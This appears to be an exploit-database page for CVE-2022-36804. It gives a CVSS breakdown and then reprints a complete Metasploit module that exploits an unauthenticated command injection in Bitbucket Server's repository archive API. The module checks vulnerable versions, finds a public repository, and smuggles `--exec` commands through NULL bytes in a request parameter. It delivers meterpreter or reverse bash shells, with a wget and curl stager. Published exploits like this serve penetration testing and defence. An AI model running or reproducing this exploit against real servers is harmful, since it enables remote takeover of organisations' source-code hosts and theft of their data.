Bitbucket Git Command Injection
CVE
Category
Price
Severity
CVE-2022-36804
CWE-78
$5,000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2022-09-25
CPE
cpe:cpe:/a:bitbucket:bitbucket:git-command-injection
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090072 Below is a copy:
Bitbucket Git Command Injection ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bitbucket Git Command Injection',
'Description' => %q{
Various versions of Bitbucket Server and Data Center are vulnerable to
an unauthenticated command injection vulnerability in multiple API endpoints.
The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
creates an archive of the repository, leveraging the `git-archive` command to do so.
Supplying NULL bytes to the request enables the passing of additional arguments to the
command, ultimately enabling execution of arbitrary commands.
},
'License' => MSF_LICENSE,
'Author' => [
'TheGrandPew', # discovery
'Ron Bowes', # analysis and PoC
'Jang', # testanull - PoC
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],
[ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],
[ 'CVE', '2022-36804' ]
],
'Platform' => [ 'linux' ],
'Privileged' => false,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Type' => :linux_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => %w[wget curl bourne],
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Type' => :unix_cmd,
'Arch' => ARCH_CMD,
'Payload' => { 'BadChars' => %(:/?#[]@) },
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
}
]
],
'DisclosureDate' => '2022-08-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ IOC_IN_LOGS ],
'SideEffects' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
Opt::RPORT(7990),
OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),
OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),
OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'login')
)
return CheckCode::Unknown('Failed to receive response from application') unless res
unless res.body.include?('Bitbucket')
return CheckCode::Safe('Target does not appear to be Bitbucket')
end
footer = res.get_html_document&.at('footer')
return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer
version_str = footer.at('span')&.children&.text
return CheckCode::Detected('Cannot find version string in footer') unless version_str
matches = version_str.match(/v(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Version unknown') unless matches && matches.length > 1
version_str = matches[1]
vprint_status("Found Bitbucket version: #{matches[1]}")
num_vers = Rex::Version.new(version_str)
return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')
major, minor, revision = version_str.split('.')
case major
when '6'
return CheckCode::Appears
when '7'
case minor
when '6'
return CheckCode::Appears if revision.to_i < 17
when '17'
return CheckCode::Appears if revision.to_i < 10
when '21'
return CheckCode::Appears if revision.to_i < 4
end
when '8'
case minor
when '0', '1'
return CheckCode::Appears if revision.to_i < 3
when '2'
return CheckCode::Appears if revision.to_i < 2
when '3'
return CheckCode::Appears if revision.to_i < 1
end
end
CheckCode::Detected
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def authenticate
print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
'keep_cookies' => true,
'vars_post' =>
{
'j_username' => username,
'j_password' => password,
'submit' => 'Log in'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'dashboard'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res
unless res.body.include?('Your work') && res.body.include?('Projects')
fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
end
@authenticated = true
print_good('Successfully logged into Bitbucket!')
end
def find_public_repo
print_status('Searching Bitbucket for publicly accessible repository')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
'keep_cookies' => true
)
fail_with(Failure::Disconnected, 'Did not receive a response') unless res
json_data = JSON.parse(res.body)
fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data
unless json_data['size'] > 0
fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
end
# opt for public repos unless none exist.
# Attempt to use a private repo if so
repos = json_data['values']
possible_repos = repos.select { |repo| repo['public'] == true }
if possible_repos.empty? && @authenticated
possible_repos = repos.select { |repo| repo['public'] == false }
end
fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
possible_repos.each do |repo|
project = repo['project']
next unless project
@project = project['key']
@repo = repo['slug']
break if @project && @repo
end
fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
print_good("Found public repo '#{@repo}' in project '#{@project}'!")
end
def execute_command(cmd, _opts = {})
uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')
send_request_cgi(
'method' => 'GET',
'uri' => uri,
'keep_cookies' => true,
'vars_get' =>
{
'format' => 'zip',
'path' => Rex::Text.rand_text_alpha(2..5),
'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"
}
)
end
def exploit
@authenticated = false
authenticate unless username.blank? && password.blank?
find_public_repo
if target['Type'] == :linux_dropper
execute_cmdstager(linemax: 6000)
else
execute_command(payload.encoded)
end
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum